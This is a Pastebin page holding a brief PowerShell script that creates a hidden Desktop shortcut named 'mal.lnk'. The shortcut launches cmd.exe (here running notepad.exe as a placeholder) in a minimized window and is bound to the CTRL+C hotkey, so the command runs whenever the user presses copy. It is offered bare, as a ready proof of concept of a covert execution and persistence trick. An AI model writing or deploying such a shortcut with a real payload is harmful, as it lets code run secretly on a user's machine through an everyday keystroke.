Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $malLoc = $home + "\Desktop\mal.lnk"
- $WshShell = New-Object -comObject WScript.Shell
- $Shortcut = $WshShell.CreateShortcut($malLoc)
- $Shortcut.TargetPath = 'C:\Windows\System32\cmd.exe'
- $Shortcut.Arguments = '/c notepad.exe'
- $Shortcut.hotkey = 'CTRL+C'
- $Shortcut.WindowStyle = 7
- $Shortcut.Save()
- attrib +h $malLoc
Advertisement
Add Comment
Please, Sign In to add comment